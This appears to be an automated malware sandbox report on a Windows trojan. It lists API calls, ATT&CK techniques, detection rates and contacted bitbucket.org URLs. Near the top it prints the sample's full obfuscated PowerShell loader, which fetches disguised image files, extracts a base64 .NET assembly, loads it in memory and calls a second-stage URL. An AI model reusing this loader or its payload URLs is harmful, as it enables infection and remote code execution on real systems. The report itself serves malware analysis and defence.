gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#gg#zwbk#gy#a#bk#gy#zwbk#c8#d#bl#hm#d##v#gq#bwb3#g4#b#bv#ge#z#bz#c8#bgbl#hc#xwbp#g0#yqbn#gu#mg#u#go#c#bn#d8#mq#0#dq#ng#x#dc#mg#x#cc#l##g#cc#a#b0#hq#c#bz#do#lw#v#gi#aqb0#gi#dqbj#gs#zqb0#c4#bwby#gc#lwbo#gc#z#bm#gg#z#bm#gc#z##v#hq#zqbz#hq#lwbk#g8#dwbu#gw#bwbh#gq#cw#v#g4#zqb3#f8#aqbt#ge#zwbl#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c##i##g#c##i##g#c##i##g#cq#ygbh#hm#zq#2#dq#t#bl#g4#zwb0#gg#i##9#c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.pngsoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'startupname', 'regasm', '0'))}}"	Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD211258 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00007FF6FD211258

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD218BF4 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF6FD218BF4

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD212D70 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF6FD212D70

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Native API	1 Scripting	1 DLL Side-Loading	1 Obfuscated Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	1 Software Packing	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Timestomp	Security Account Manager	15 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	1 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nTHivMbGpg.exe	39%	ReversingLabs	Win64.Trojan.Generic
nTHivMbGpg.exe	100%	Avira	TR/Agent.blxmm

Source	Detection	Scanner	Label
http://crl.microsoft	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bitbucket.org	185.166.143.50	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723	true		unknown
https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.microsoft	powershell.exe, 00000004.00000002.1303077522.0000017DBB3E5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://admin.atlassian.com	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bitbucket.org/blog/announcing-our-new-ci-cd-runtime-with-up-to-8x-faster-builds	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.bitbucket.org	powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpac	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://preferences.atlassian.com	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpack	powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.atlassian.com/try/cloud/signup?bundle=bitbucket	powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bitbucket.status.atlassian.com/	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1290480289.00000271417A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027133078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ap	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ve	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpacp	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://id.atlassian.com/profile/rest/profile"	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aui-cdn.atlassian.com/	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bitbucket.org/gateway/api/emoji/	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bqlf8qjztdtr.statuspage.io	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1303662906.0000017DBCDD4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.00000271315F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org	powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ad	powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/logos/bi	powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1290480289.00000271417A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027133078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://id.atlassian.com/login	powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1273855820.0000027132F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org/blog/wp-json/wp/v2/posts?categories=196&context=embed&per_page=6&orderby=date&	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1273855820.0000027132F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000005.00000002.1273855820.0000027132225000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://id.atlassian.com/logout	powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://bitbucket.org	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/jsi18n/en/dj	powershell.exe, 00000005.00000002.1273855820.0000027132CE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1273855820.0000027132F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://id.atlassian.com/manage-profile/	powershell.exe, 00000005.00000002.1273855820.0000027132CE9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://id.atlassian.com/login?prompt=login&continue=https%3A%2F%2Fbitbucket.org%2Fhgdfhdfgd%2Ft	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.cookielaw.org/	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/default_	powershell.exe, 00000005.00000002.1273855820.0000027132D64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1303662906.0000017DBCD5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1303662906.0000017DBCDAA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.00000271315F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.166.143.50	bitbucket.org	Germany		16509	AMAZON-02US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524410
Start date and time:	2024-10-02 19:01:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nTHivMbGpg.exe renamed because original name is a hash value
Original Sample Name:	e60cc4cdd031cca383ae7d7449eda37dd72d4ef864816d452a7df72a9d019337.exe
Detection:	MAL
Classification:	mal100.spre.evad.winEXE@9/6@1/1
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 29 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2412 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3724 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: nTHivMbGpg.exe

Simulations

Behavior and APIs

Time	Type	Description
13:02:40	API Interceptor	29x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.166.143.50	http://jasonj002.bitbucket.io/	Get hash	malicious	HTMLPhisher	Browse
	sostener.vbs	Get hash	malicious	Njrat	Browse
	S0FTWARE.exe	Get hash	malicious	Go Injector, Vidar, Xmrig	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse
	HelperLibrary.ps1	Get hash	malicious	Unknown	Browse
	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse
	RedEngine.exe	Get hash	malicious	Babadeda, RedLine	Browse
	Ad#U043ebe_Activator.exe	Get hash	malicious	LummaC	Browse
	Notificacon Documneto.vbs	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bitbucket.org	sRMytgfRpJ.exe	Get hash	malicious	RedLine	Browse	185.166.143.49
	envifa.vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
	sostener.vbs	Get hash	malicious	Njrat	Browse	185.166.143.50
	S0FTWARE.exe	Get hash	malicious	Go Injector, Vidar, Xmrig	Browse	185.166.143.50
